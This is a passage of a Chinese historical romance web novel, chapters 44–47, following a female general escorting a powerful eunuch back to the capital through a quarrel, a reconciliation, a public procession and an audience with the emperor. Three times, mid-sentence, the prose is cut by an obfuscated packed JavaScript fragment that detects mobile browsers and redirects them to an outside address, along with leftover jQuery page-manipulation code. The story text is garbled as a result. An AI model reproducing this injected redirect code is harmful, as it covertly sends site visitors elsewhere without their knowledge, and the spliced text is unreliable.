于乔昭而言就是,什么意思?不接受她的道歉?! 乔昭这下真没话好说了,最主要是她也不知道自己哪里有问题。 “既然掌印今日情绪不佳,乔昭就不打扰了,这就告退。” 遇事不决,直接开溜。乔昭想着还是明日启程的时候,再跟徐纾言好好商量要事。现在也确实不是说正事的时候。 她转身就准备走,不点不带犹豫的。 一只手突然拽住乔昭的下摆,和过往的每一次一样,白皙修长的手指紧紧拽着乔昭的衣角。 乔昭就知道会如此。她有些不耐。 她转身,压着脾气,很温和的看着徐纾言,没说话,仿佛是在等他整理情绪。 徐纾言的眼睛泛着红,但是泪水已经收了起来。他望向乔昭,良久,低声道: “我没想骂你。” “什么?”乔昭懵。 徐纾言就这样倔强的望着她,他知道乔昭已经听见了。掌印的自尊心不允许他将道歉的话说两遍。 或许那根本不是一句道歉。 乔昭当然是顺着台阶下,徐纾言都给台阶了,能不下吗。 她恍然明白徐纾言说的是那句话,但是苍天可鉴,乔昭根本没把这件事放在心上。 她真不是这么小心眼的人! 乔昭只能笑,苦笑:“掌印所言怎么能是算得上骂呢?只能算亲切的规劝,金玉良言罢了。” 都这时候了,乔昭说话还跟嘴上没把门似的,开一些地狱玩笑。 眼见着徐纾言神色又不对了,介于委屈和愤怒之间,很复杂,明显不是乔昭可以承受的。 她忙补救道:“乔昭怎会生掌印的气!早就一笑了之,完全不放在心上的!” 徐纾言这才了缓了神色,柔和了一些。 44. 第 44 章 “明日回京后,掌印是直接回宫述职是吗?”乔昭望向徐纾言,问道。 徐纾言此次来监军,并非他的本意。他在朝廷已经站稳脚跟。要做的事情也在缓缓开展。 但是他所施行的政策,在一定程度上影响到了某些人的利益。 因此徐纾言就被阴了,所以才被挤兑到了边塞来监军,表面上是带着尚方宝剑,代表天子。但其实在朝堂上,明眼人都知道这是为了支开他。 他推行的政策也只能搁置。 监军谁不能当?偏要他司礼监掌印徐纾言来当? 连小皇帝都没办法,顶不住这么多人的压力,只能将他下放。 徐纾言想到这些,目光沉沉,眼底厉色尽显。那群老东西,一个个的阳奉阴违,都舞到他头上来了。 真是活够了。 他将目光投向乔昭,不置可否,示意她继续说。 乔昭站在徐纾言对面,两个人一坐一站,泾渭分明,犹如楚河汉界。 为了上药,徐纾言穿的单薄。乔昭刚刚将他的衣服拉上去,现下看着松松垮垮的,再加上他眉眼间的绮丽,当真勾人而不自知。 反观乔昭,一袭戎装,穿戴整齐,身如青松,没有一丝逾矩,眉清目秀,端方有礼。 完全就是两条永不相交的平行线。 怎么就有了交集呢? 乔昭站得有些远,或许可以说,这只是两个人相交最安全有礼的距离,不至于太过冒犯。 但是于一炷香之前的乔昭和徐纾言而言,有些太远了。 乔昭只定定的看着徐纾言,她似乎想说什么,但是又始终没开口。 似乎有些为难,又似乎是在想怎样才会更体面。 两个人之间的氛围有些凝滞,一片寂静。 徐纾言似有所觉,抿着唇,抬眼看着乔昭。心脏缓缓收紧,有些慌,又完全没办法缓解。 “回京以后,卑职的护卫任务也就完成。没能将掌印平安无虞的送回中京,使掌印多次置身险境,是卑职的失职。”乔昭顿了一下,眼神越发平静,一字一句道: “一路以来,多有不周,还望掌印见谅。” 黑夜沉沉,连颗星子也无。可能是真的太晚了,甚至连秋日的蛐蛐声都消失不见,万物皆陷入一片寂静。 空气中的温度就像突然降至冰点,冷得让人受不了。徐纾言觉得自己还是穿得太少,不然怎么会这么冷呢,冷得让他控制不住的细细颤抖。 他轻轻拢了拢自己的衣服,至少看起来不会太失礼,尽管这只是徒然,与光明坦荡的乔昭相比,他显得如此不堪,从里到外的。 好像怎么样都没用,徐纾言抬眼注视着乔昭。他想说话,但是又仿佛喘不过气来,喉咙就像被哽住,呼吸起伏。 良久。 “呵......” 徐纾言轻勾嘴角,讽刺一笑。似乎觉得真的太好笑,他嘴角的弧度越来越大,眼角也越来越红。徐纾言笑了起来,寂静的屋里,只有他凄怆的笑声,令人心惊。 乔昭仍然站在屋内,半步没有挪动,目光也没有丝毫躲闪,平和沉默的注视着徐纾言,仿佛看不见他痛苦的笑容,也看不见他眼角的嫣红。 就像是没有感情的观众,只坐在台下听戏。台上的悲欢离合,仿佛完全没办法感染她,内心只余下一片平静。 徐纾言脸上挂着笑,眼角挂着泪意,但是他没哭。他就这样恶狠狠的盯着乔昭,缓缓走到她的身前,像是恨不得将她扒皮抽筋,吞吃入腹。 他笑起来,靡丽鲜红的唇微微勾起,眉眼间尽是媚态,就这样直勾勾的看着乔昭。 两人又靠得很近了,近得乔昭能感受道徐纾言慌乱的呼吸,她缓缓垂下眼睫,但是徐纾言丝毫不避让,就这样用自己的眼神,描摹乔昭的轮廓。 眼神交错的瞬间,暧昧在其中流淌,悄无声息的蔓延开来。 徐纾言轻启薄唇,高高在上:“乔昭啊乔昭,让咱家怎么说你呢。” 他抽身,离乔昭远了些,两个人不再呼吸交缠。徐纾言声音有些尖利阴柔: “这些日子定是委屈你了,护送我一个阉人回京。想必乔都尉应是满腹怨言。” “哦,忘了乔都尉本来一开始是就不愿,是咱家逼迫才不得已而为之,这样看是咱家的不是!” 徐纾言说着又转身看向乔昭,离得远了,才发现他的眼睛雾蒙蒙的,双眼空洞,眼眶红得要命,又流不下泪来。苍白消瘦的脸上一片空白,就像是一个没有思绪的傀儡。 但是嘴上还在言不由衷的说着狠话。 “也是,乔都尉高门贵女,咱家只是一个太监,这一路上是咱家折辱了都尉才对。” “怎么轮得到乔都尉给一个阉人道歉,应该是咱家给都尉道歉才对!” 徐纾言越说越离谱,整个人说话都是颠三倒四的。恨不得将自己贬到泥土里,就好像他徐纾言就是天生的贱种,被世人唾弃也不足为惜。 他现在也不笑了,整个人平静的可怕,就这样木楞楞的。看着乔昭,嘴里吐着胡言乱语。 乔昭听得直皱眉头,实在有些听不下去他说的一些自贬的话。她蹙着眉,看向徐纾言,语气颇有些不客气。 “掌印若要如此自贬,那乔昭无话可说,卑职告退。” 她向徐纾言行礼,转身就准备离开。 “自贬?哈哈......我还需要自贬?!”徐纾言看着乔昭,突然发大声音,好像再也那没办法克制自己。 “世人皆看不起我徐纾言,他们以为藏得很好?!一群蠢货,我只是懒得和他们计较!看到他们虚与委蛇的样子我就想吐!人人都看不起我!我不在意!” “但是乔昭你......” 徐纾言一瞬间忍不住自己的情绪,哽咽了声调,又不想在乔昭面前更难堪,只能努力稳住声音。 徐纾言转身,走到乔昭身前,不再背对她。 他那双雾蒙蒙的眼睛就这样望向乔昭,里面有痛苦和悲伤交杂其找,看一眼就能感受到心碎的声音。 “乔昭连你也瞧不起我。” ...... 乔昭站着,身姿挺拔如劲松,她看着面前满含泪意的徐纾言。 他看起来是那样的倔强高傲,强撑着不愿折腰,可是又有着那样破碎的眼神,复杂又难以捉摸。 乔昭深深的,深深的叹了口气。 随后。 缓缓将面前的人拥入怀中,她的拥抱轻轻的,环住徐纾言的肩膀,不含有任何情欲。只是为了安慰伤心的灵魂。 徐纾言一直憋着的眼泪终于忍不住了,他前进一步,将自己深深嵌入乔昭的怀里,仿佛这样才会完整。埋在她温热的颈窝,任眼泪肆意落下。 乔昭感受着肩膀的湿意,手指微动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978273|131900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了很久,还是轻抚他的背,温和的,一下又一下。 这是每次乔昭难过时,宁安郡主安慰她的办法。 屋内又恢复了寂静,昏暗的烛光勾勒出两人相拥的身影。仿佛刚才声嘶力竭的争吵只是一场幻影,从未存在过。 “乔昭从未瞧不起掌印。” 或许是刚刚徐纾言的歇斯底里,超出了乔昭的预料。乔昭的内心也不由颤动,此时才慢慢说出心中所想。 她一边轻抚徐纾言的背,安慰着他的情绪。一边又将自己心底剖析给徐纾言听。 “只是觉得掌印身边,风云诡谲,太过危险。” “昌敬侯府这一辈,只余下我一人,父亲又手握兵权。回京以后将有无数双眼睛盯着我,盯着昌敬侯府。” “父亲一生清流,从不参与朝堂纷争,也不愿将昌敬侯府牵扯进来。” “所以乔昭只能离掌印远些,掌印聪慧秀敏,明明知晓乔昭未有那些想法,怎么就偏偏钻了死胡同。” 乔昭絮絮叨叨说了很多,其实由始至终两人之间的矛盾就这一件事。她都觉得自己疯了,这与她此行的目的截然相反。 可是乔昭总为徐纾言破例。 乔昭将徐纾言拉出自己的怀抱,看着徐纾言满脸泪痕,又忍不住用手给他擦眼泪。 徐纾言睫毛上都挂着泪,眼睫一颤一颤的。他低垂着眼,不肯抬眼看乔昭。 “掌印说乔昭瞧不起你,这话可真是伤了我的心。我不会拼死跳下悬崖去救我瞧不上的人。” 乔昭温和的说着,有些打趣的意味。 徐纾言这才抬眼撇她一眼,眼神中委屈和骄矜糅杂,显得有些娇。 “那我们回了中京,还能见面吗?” 徐纾言哑着嗓子,看着乔昭试探性问道。 “有什么不能见呢?以后在朝堂上多的是见面的机会,又不是老死不相往来。”乔昭笑道。 徐纾言紧盯着乔昭的眼,道:“你明知道我说的不是这种见面。” 乔昭这下不说话了,沉默闭上了嘴。 不是上朝的见面,那是哪种见面?私下见面那种吗。 徐纾言看乔昭闭嘴不言,就知道她的态度,一时间讽刺悲苦涌上心头。 说来说去,不就是要避嫌吗? 她乔昭名门清流,断然不能和宫里的宦官纠缠在一起。 徐纾言看向乔昭的眼又红了,他很努力不让眼泪丢下来。在乔昭面前丢脸真的太难堪了。 乔昭真有些头疼了,她无奈道:“我和掌印又有何事,需要私下见面交谈的呢?” 她实在费解徐纾言的大喜大悲。若是之前,徐纾言觉得乔昭瞧不起他,愤慨悲伤,还能理解。 但是乔昭已经解释清楚了,他还是含着眼泪,欲落不落。 乔昭就真的不明白徐纾言的情绪从何而来。 徐纾言听见乔昭的这句话,彻底清醒。夜晚真的容易让人犯蠢,徐纾言心底那些隐秘的心思都快昭然欲揭。 若是让乔昭知道他那些龌龊不堪的心思,她肯定退避三舍,此生不复相见。 徐纾言有些庆幸,乔昭不懂他。又有些悲伤,乔昭不懂他。 良久,他转身拭掉眼角的泪,低声道:“滚。” 乔昭定定看着徐纾言的背影,终究是什么都没说,只留下一句。 “夜深了,掌印歇息吧。” 45. 第45集 午时,秋高气爽,万里无云,秋日的太阳不似盛夏的太阳毒辣,温和许多。 秋风萧瑟也敌不过百姓热烈的心,中京城内熙熙攘攘,人群涌动,交头接耳,甚是热闹。 今日街上的人格外的多,似乎整个中京的老百姓都来凑了热闹,街边的酒楼座无虚席。 路上来来往往的行人仰首四顾,高声交谈。 细听声旁的人交谈,就会知道。 原来是九千岁徐纾言带着尚方宝剑从边塞归来! 几月前,九千岁远赴边疆。食君之禄,忧君之忧。以外人看,九千岁身负天子圣意,行监军之职,是顶好的事! 然而其中深浅,只有局中人才知悉。 但是平民百姓可不管这些!他们只知道大战告捷,将士们凯旋,可喜可贺! 许多人此番前来都是为了一睹徐纾言的真颜。 要说肃州一战,当真是赢得艰难!七年前国之危急时刻,大将军乔愈年披甲挂帅,守卫边疆。 谁知遭西戎暗算,险些全军覆没。后朝廷再派十万将士支援肃州才挽回颓势。与西戎战况焦灼,这一打又是五年! 卧榻之侧,岂容他人鼾睡。西戎不破,无人敢在夜里安然入眠。就像是头上高悬利箭,不知哪一刻便会掉落下来。北齐百姓就这样胆战心惊的过了七年, 终于!定北军赢了! 北齐赢了!! 百姓们心中的喜悦早已压制不住,只待大军回来那一刻,为凯旋的将士送上最热切的欢迎。 现如今监军已经归来,大军班师回朝指日可待。 ...... 人群中氛围热烈,但是大家等久了还是会心浮气躁,不少性子急的人开始口出怨言。 “还没到吗?这都快巳时末了!磨磨唧唧的!”人群前方站着一人,身形高大,满脸的络腮胡,看着脾气不太好。 人又多,挤挤闹闹的,就容易出矛盾。 他的发言一石激起千层浪,勾起了很多人的不满。 “就是啊!一大早就来这儿等着了,一直不到,累死个人!” “大军早都在郊外了,安营扎寨有两三天了,但是一直没进来,不知为何?” “朝廷的事,我们小老百姓又哪里知道。不知道九千岁何时能到!” 身边的人开始议论纷纷,语气是有些抱怨,但也没到天怒人怨的地步,顶多是嘴里吐槽几句。 “慌什么?凯旋礼午时才开始。这才哪到哪。”站在人群后方的小娘子,一脸不以为意的说道。 “凯旋礼?今日又不是大军班师回朝,监军说到底只是一个宦官,怎么会举办如此盛大的凯旋礼?” 有人质疑小娘子。说是质疑,其实话里话外更多的还是对徐纾言宦官身份的嗤之以鼻。 那小娘子撇了那人一眼,不紧不慢道:“他又不是一般的宦官,这个凯旋礼还真就担得起。真是鼠目寸光。” “你——”反驳之人气急,想上前教训她,但看见她身边的人,又心虚的收回了手。 小娘子身着华丽精致的锦缎霓裳,上面的绣花繁复,一看便知是名贵的布料。整个人看起来明艳大方,骄矜可人。 她可不是单独一个人出来的,身边的站着的温和女子应是她的婢女,身后还站着几个彪形大汉,护卫在她身边,看着就唬人。 那人只能骂骂咧咧的走了,梁颂宜嗤笑一声,转过头去。 她今日也是看着人多出来凑凑热闹,在街上站了一会儿,觉得无甚有趣。就转身去了酒楼的二层包房,不与百姓们挤在一起,吵得很。 今日路上人确实多,平日甚是宽敞的朱雀门街,能通融四辆马车并肩而行,而今挤得一辆马车通过都显得艰难。 禁军在一旁疏散人群,把位置腾出来。 城门外,大军早已整装以待。黑压压一片,无人说话,分外寂静。 乔昭他们一大早便离开驿站,紧赶慢赶,一路无言,现下已经到了城门外。 赤红的北齐军旗迎风飘扬,上面的绣着的花纹,也随风摆动,更显凌厉。 身着黑色戎装,戴着铠甲的北齐将士,面色严肃庄严,目光坚定冷硬,分立两旁。 乔昭骑在高头大马上,暗红色的戎装,穿着甲胄,披风飒飒飞扬,头戴铜冠。 她一人一马,在队伍最前端,意气风发,英姿飒爽。 身后一辆高大华贵的马车缓缓驶来,马车四周摇晃的金色铜铃,光耀夺目。车内四周,都挂着精美丝绸帐幔。车轮倾轧着路面,发出细微的声音。 就这样渐渐接近城门处。 现下城门大开,再往里走便是朱雀大街,主道尽头便是庄严肃穆的皇城。街道两边都站满了人,每几步便有一个禁军守着秩序,防止有民众激愤挡住路。 城门口站着十几个大臣,个个穿着官袍,精神抖擞。其中便有身穿紫色圆领袍衫的兵部太尉周承远。 看着乔昭一行人向城门口缓缓而来,众人都将目光投向他们。 人已经走进,礼部司官大声吩咐道:“奏乐!奏学!” 教坊司的人一早便侯在这里,只等徐纾言一来,便拿起手里的唢呐吹奏起来。 每逢祭祀,朝贺等大典上,才会有御乐奏响。 伴着激昂向上,铿锵热烈的御乐中。所有人都注视着从城外缓缓驶来的将士。 尤其是最前端的马车里那人,尽管现下帐幔放下来,什么都看不清。 朝廷官员面上神色各异。 眼瞧着他们走进,一众臣子等候在城门口。 “礼部司官李磊,奉旨率有司官员恭迎监军回京!” “恭迎监军回京!” 为首的的礼部司官行礼下跪,他身后的官员们也整齐有序的下跪。 “都起来吧。”马车里传来清冷声线。 徐纾言端坐在马车里,徐淮将马凳放好,徐霁挑开马车的帘子。 徐纾言这才从里面施施然探出头来,下了马车。他今日穿得郑重,一袭四爪蟒袍,黑色锦袍上刻着祥云团纹,头戴冠玉。 礼部的人退下后,再后面的便是一些朝中大臣。 他们看见徐纾言下了车,忙上前来。为首之人便是周承远。 他满脸笑意,道:“掌印千里奔波,路途颠簸,从肃州回京,带来凯旋捷报,老臣特来恭迎掌印回京。” “太尉多礼,这是咱家应当做的。”徐纾言悠悠说道。 “掌印何须自谦,这次您是大功臣,此次回京,定能青云直上。” 现下城门口鱼龙混杂,周承远虽看似在恭贺徐纾言,但其中深意细想便觉得不对劲。 此次平定西戎的功臣,哪里轮得上徐纾言? 周承远这样说,岂不是让他人误以为徐纾言回京邀功。 徐纾言抬眼看向周承远,扯了扯嘴角,皮笑肉不笑道: “咱家可算不上大功臣,真正的大功臣还没回京呢。咱家最多只算得上一个传话的。” “太尉折煞奴才了。” 周承远心道,这徐纾言还真是个老狐狸,不好对付。但面上又装出一副惶恐的样子,道: “看我这嘴!今日掌印回京,臣太过欣喜,一时说错了话。” 徐纾言轻勾嘴角,一字一句道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006910|131900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “太尉在咱家这里说错话倒是无所谓,可别在圣上面前也说错了话。” 周承远脸色一僵,忙不迭说道:“不敢,不敢!” 随后他将目光向徐纾言身边的人看去,只见他身边站着一个身着戎装的女子,气宇轩昂,明眸皓齿。 周承远直觉,这个女子不好对付。 他笑问道:“这位是?看着倒是面生,没在掌印身边瞧见过。” 徐纾言直直盯着周承远,眼底闪过一丝戾气,又消散,隐藏的很好。 他简短说道:“是护送我回京的小将军。” 徐纾言不愿在周承远身边,谈论太多关于乔昭的事情。 “不知小将军姓甚名谁啊?看着当真是一表人才,不愧是我北齐猛将。”周承远还想着刨根问底。 徐纾言目光霎时阴沉下来,眼神犹如毒蛇般狠戾。周承远盯上乔昭,是他不愿看到的情况。 “在下定北军骑都尉乔昭。”乔昭行礼,笑着回答道。 周承远神色晦暗不明,姓乔? 他眼神往乔昭和徐纾言身边转了一圈。 又笑道:“此次征西大元帅也姓乔,莫非?” 周承远还想问清楚,这徐纾言真是了不得,难不成他已经和元帅乔愈年攀上了关系? “咱家还要回宫里向圣上述职,耽误不得,就不和太尉多叙了。”徐纾言打断了周承远的问话。 乔昭也装不懂的在一旁安静沉默。 周承远看徐纾言满脸不耐,虽然心里不爽,但面上只能讪讪笑道:“述职要紧,老臣就不耽误掌印回宫了。” 徐纾言转身就走,上了马车。半点不搭理周承远,徐霁将车门一关,隔绝了外人窥视的视线。 乔昭向周承远礼貌行礼:“告辞。” 随后翻身上马,向皇城而去。 ……………… 彼时车马一进入城中,便传来阵阵欢呼!! 乔昭的红色戎装分外显眼,她驾着白色骏马,走在前方。城中的爆发出阵阵的欢呼声和掌声!人们挥舞着双手,脸上都是欢欣鼓舞。 乔昭长相清秀,眉眼间尽是英气,一瞥一笑都勾人,整个人又干净利落,少年意气风发。她爽朗笑着,一手持着缰绳,一手与大家打招呼。 与她对视的女子们个个羞红了脸,害羞的不敢与她对视。有些胆子大的姑娘,一把将自己随身的手帕向乔昭丢过去。 她自然的接过,当着众人的面,将粉色帕子放到鼻尖轻嗅,随后又收起来,放进自己怀里。 见到这一幕的女子捂脸尖叫,面容桃花,又粉又嫩。 大家已经完全忘记了自己的目的,最开始是为了目睹掌印真颜! “这位小将军是谁啊?看着真俊!” “没见过这位,是从战场上回来的吗?” “应该是护送监军回京的。” “啊啊啊啊啊!!!她看我了!” 乔昭所过之处,少不了尖叫和脸红。她还挺自然大方的,完全不管是否撩拨了他人的心。 徐霁徐淮在后面全程看着乔昭是如何撩拨人心的。徐霁还好,没有说话。 徐淮满脸无语的看着乔昭,皱眉道:“孟浪。” 徐纾言自然也听到了车外的喧嚣,他轻轻拨开车帘。正好看到乔昭结果女子手帕。 徐纾言目光沉沉,看着眼前这一幕,内心涌上一阵酸涩。 又看见乔昭将帕子妥帖放进怀里。他气得一把将帘子甩下,晦暗的目光盯着车窗。像是要透过车窗,透过人流,去看清楚乔昭的心。 她难道不知道,在北齐收了手帕代表什么吗? 46. 第46章 朱雀门街最尽头是庄严巍峨的皇城,进了皇城并没到真正的权利中心。 从朱雀门进入后,便到了外朝。外朝是北齐官员办公的地方。三省六部九寺五监都集中在外朝。这里已经有了重兵把守,寻常百姓不得入。 进了朱雀门,沿着承天门街一路前行,只剩下了乔昭和徐纾言,以及徐霁徐淮与几个精锐尖兵。其余的将士都回到了军营。 过了外朝,承天门街尽头,是一座巨大的拱门,那便是承天门,进了承天门才算是来到了天子居住的地方,宫城。 皇宫里有羽林卫重兵把守,暗中还有暗卫时时刻刻护卫着。没有传召任何人都进不了皇宫。 徐霁徐淮虽然也是太监,但是他们早已跟着徐纾言去了皇宫外的府邸,不再属于是宫里的人。所以他们二人以及其余将士便停在了承天门外,不能再往里一步。 承天门处站了三五个人,乔昭一行人走近,那几人便弓着腰,小步走向马车。 “奴才给掌印请安。” 声音尖利阴柔,拿腔作调。脸型消瘦,四肢修长。是宫里的太监。 “起来吧。”徐纾言淡淡回道。 “谢掌印。”那些太监直起身,太监为首之人,身穿黑色锦袍,是少监服制。 这位是宫里的高少监。 高少监再上前一步,拱手弯腰,谄媚道:“掌印这几月离开宫里,奴才们甚是念得紧。未曾想,您一去肃州,西戎战败,大战告捷。掌印当真是洪福齐天!” 徐纾言没搭理他,垂眸,搭着徐淮的手下了马车。身旁太监面不改色,依然絮絮叨叨的说着恭维的话。 “圣上现下在何处?”徐纾言问道。 高少监忙回答:“圣上现下在立政殿,派奴才来承天门候着。掌印您一回京,便抬轿到立政殿。” 这才看到承天门外一顶明黄色的轿撵。 徐纾言颌首,从马车上下来便上了轿撵。 皇宫内除天子外,其余人不能驾马,抬轿。但是也有例外。若能得到皇帝赏赐,便可以在宫里乘坐轿子,这是一种至高无上的荣誉。 将徐纾言护送到了承天门,乔昭这一路的护送,可以说彻底结束。乔昭没有太多的感受,昨晚和徐纾言的争执她没放在心上,虽然过程有些不愉快,但是索□□情已经解释清楚。 乔昭知道徐纾言不是那等奸诈小人,也不会在朝堂上为难她和昌敬候府。 她看着徐纾言上了轿撵。 正准备告退之时。 高少监转头看向她,殷勤笑道:“小将军,圣上命您和掌印一同前往立政殿。” 乔昭眸光一闪。 按宫里规矩来说,乔昭是不能进去的,自然也见不到天子。她要等到大军班师回朝以后,同军里的一众将领上朝听封。 徐纾言在里面听到了高少监说的话,将帘子掀了起来,眸光微沉,不着痕迹的问道。 “她入宫里恐怕不合规矩,圣上怎会叫她前去?” 高少监转身,忙不迭回复道:“圣上此次宣这位小将军,主要是为了询问掌印被暗杀一事。” 徐纾言听完高少监的回答,一言不发,将帘子放了下去。 高少监见徐纾言不再问话,吊着嗓子,高声道:“起轿!” 几位太监便抬着轿子往承天门内走去,步履平稳,往立政殿而去。 高少监转头,细长的眼,眯笑道:“小将军,请随奴才这边走。” 乔昭,笑道:“多谢公公。” 随后二人便跟着徐纾言的轿子一同前往立政殿。 ………………… 立政殿是皇帝处理政务的地方,每日下朝以后,皇帝便会去立政殿处理政务。有时候朝政繁忙,顾昀之就歇在立政殿内。 金瓦红墙,屋檐上刻着九龙戏珠的图纹,屋脊上有神兽十二只,各司其命,为首的便是骑凤仙人。在阳光的照射下金光熠熠,活灵活现。 徐纾言和乔昭站在立政殿门口。 高少监站在门外,对乔徐二人说道:“二位大人稍等片刻,容奴才进去通传。” 随后他便走进了大殿。 乔昭这是第一次面见皇帝,在此她之前对皇帝的印象,全部是从乔愈年口中得知。 不过片刻,高少监便走了出来,笑道:“掌印,小将军,您二位里面请,圣上等着呢。” 立政殿宽敞明亮,店内几根高大的立柱,上面雕刻着八仙过海,腾云驾雾。立柱之间悬挂着丝绸帷幔,华丽精致。 再往里走几步,便来到书房。入目便是一整面墙的书架,上面放满了书籍。阳光透过窗柩洒在书籍上,光影交错。 书架面前放着金丝楠木制成的桌椅,宽大的书桌上摆满了册子,全是每日朝廷官员上奏的奏折。 一位年轻男子,身着明黄色锦袍,伏案书写,批改奏折,不曾抬起头来。 这位便是北齐的皇帝,顾昀之。他上位时才五岁,改年号为永和,现已在位二十年。 “奴才徐纾言见过陛下。” “微臣乔昭见过陛下。” 二人弯腰,垂首,齐行跪拜礼。 听到声音,顾昀之抬起头来。他长相温和俊朗,脸上时常带着笑意,看着脾气很好的样子。 他忙上前来,拖着徐纾言的手臂,阻止他继续跪下去。 顾昀之笑道:“私底下,掌印何须讲究这些虚礼。” 徐纾言面不改色,很自然的顺着顾昀之的动作起了身。 顾昀之对着一旁的太监说道:“来人,给掌印赐座。” 小太监将凳子搬到徐纾言身后,他才施施然坐下。 顾昀之这才看见还跪着的乔昭,道:“将军起身吧。” “谢陛下。”乔昭听到顾昀之的话,才直起身子,站了起来。 顾昀之回到了书案后,坐在龙椅上,好整以暇的看着乔昭。 他神色意味不明,眼眸漆黑,如深不见底的黑潭。片刻间,又收好那些情绪,温和问道:“听说你是元帅乔愈年的女儿,叫做乔昭?” “是的,乔元帅正是家父。”乔昭正色道。 “乔小将军在战场上勇猛无敌,用兵出神入化,以少胜多,大败西戎,连朕远在中京都有所耳闻。” 顾昀之温言细语的说着夸人的话,语气听起来十分真诚。他只比乔昭大几岁,好似同龄人在交谈,没有君臣之间的天差地别。 乔昭神色平静,不卑不亢道:“陛下缪赞,若没有将士们的齐心协力,仅凭乔昭一己之力,想要击败西戎也是难如登天。” “虎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025246|131900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父无犬女,乔元帅手握十万兵力,击退西戎。现下又有了小将军这般天资卓越的女儿,继承衣钵。想必日后定北军在小将军手里定能发扬光大,更添荣光。” 大殿里很寂静,两侧站着的太监宫女皆是低头不言,没有发出一丝声音。徐纾言坐在一旁,他的目光没有放在乔昭和皇帝身上,而是看向从窗柩中透出的阳光。 阳光是那样的好,但是却照不透这官场的黑暗。 殿内只有乔昭和顾昀之的一问一答。 顾昀之直勾勾的看着乔昭,语气却甚是温和,他说定北军日后在乔昭手里定能更添荣光。 徐纾言的目光一颤,沉了神色,将视线投向了顾昀之。乔昭听到顾昀之的话,顿了一下,没有立即回答。 大殿内仿佛更加寂静了,但是内里确暗潮涌动,若是一不小心,就会触到暗处的礁石,让人粉身碎骨。 良久。 乔昭缓缓抬眼,迎着顾昀之的目光,道:“陛下所言甚是,只一句话略有偏差。定北军是北齐的定北军,微臣率军出战是身负皇恩浩荡。现下大战告捷,微臣倒想偷个懒,日后寻个闲职度日。” 顾昀之就这样看向乔昭,他的目光中带着探究。乔昭并不怕,也没有错开视线。如果目光有实质,恐怕这大殿中早已刀光剑影,让人躲闪不及。 “哈哈哈——” 顾昀之爽朗一笑,嘴角勾起,笑眯着眼。刚才那种巍峨高山倾轧的压迫感瞬间消失,仿佛刚才的你来我往,话中有话只是错觉。 “这可不成,若是小将军犯懒,寻个闲职。那岂不是埋没了我北齐一员猛将。这不仅是朕不答应,恐怕北齐的百姓也不答应!” 顾昀之边笑边说:“乔小将军可是十分受百姓爱戴,一回中京,朱雀门街人山人海,摩肩擦踵,好不热闹。” 普天之下,莫非王土。乔昭才从朱雀门街经过,现下皇帝便已知当时详情。 乔昭回复道:“与其说是对微臣本人的爱戴,不如说是对平定西戎的北齐将士的爱戴。乔昭也是承了将士们的光,才得到百姓喜爱,实在惶恐。” 顾昀之将目光投向徐纾言,笑道:“原来掌印在信中所言非需,乔小将军确实聪慧过人,惊才绝艳。得此猛将,实乃我北齐之福报。” 徐纾言扯了扯嘴角,淡淡一笑,眼中却看不出丝毫笑意:“陛下圣明。” 再后面就没有太多的事情了,顾昀之跟乔昭闲聊了几句军中事务,只是泛泛而谈,很浅显。 更深处的东西,恐怕早已在跟徐纾言的书信来往中了解透彻。 “今日便到这儿吧,乔小将军征战多年,想必也是累了。这几日便好好在府里休息。待到大军班师回朝以后,再上朝论功行赏。”顾昀之笑眯眯的让乔昭退下 “是。”乔昭行李后,便退了出去。 大殿中只留下了顾昀之和徐纾言在里。 …… 乔昭退出立政殿后,便沉了脸色,她一言不发的沿着宫道走着,缓缓向宫门外走去。 她在里面还没有发觉时间流逝,现下出来才惊觉,已将近黄昏。 日落的余晖将整个皇宫照得金灿灿的,巍峨壮丽,光辉夺目,让人心生叹意。 但夕阳仿佛透着冷意,连身后的皇宫,也显得毛骨悚然。 47. 第47章 乔昭出了宫门,徐霁和徐淮还在外面等着。皇城内,宫殿连绵,乔昭出了承天门天已经黑透了。 她已无事,便不用在这里候着徐纾言。和徐霁徐淮打了个招呼,便翻身上马,向昌敬候府驾马而去。 距离乔昭在外征战,已经过去五年之久。刚到中京的时候,竟有些近乡情怯,物是人非的复杂之情。 虽然黑夜来临,但是中京城内街道两边,都挂起了灯笼,不至于完全看不清路,路上还有一些归家的行人。 离得很远,乔昭便看到了昌敬候府门口挂着的红灯笼。檐下还站着几个人。 为首之人,一袭晴蓝织锦缎袍,温柔婉约。秀芳盘起,梳着圆髻,花钿珠翠点缀其间,是中京贵妇人中最时兴的发型。 宁安郡主端庄的站在门口,期盼的目光却一直望着远方。 直至马蹄声在街尾处出来,看到黑夜中缓缓出现的身影。 